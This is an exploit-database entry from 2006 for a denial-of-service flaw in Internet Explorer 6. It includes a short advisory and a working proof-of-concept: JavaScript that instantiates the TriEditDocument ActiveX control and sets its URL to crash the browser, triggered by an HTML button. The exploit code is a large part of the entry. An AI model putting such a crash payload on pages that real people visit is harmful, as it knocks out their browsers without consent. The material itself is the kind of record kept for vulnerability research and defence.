Microsoft Internet Explorer 6 - TriEditDocument Denial of Service

2006-07-11T00:00:00
ID EXPLOITPACK:2B742DE1F49743A5B4142A2F8D419C52
Type exploitpack
Reporter hdm
Modified 2006-07-11T00:00:00

Description

Microsoft Internet Explorer 6 - TriEditDocument Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/18946/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('TriEditDocument.TriEditDocument');
	a.URL = "Boom!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>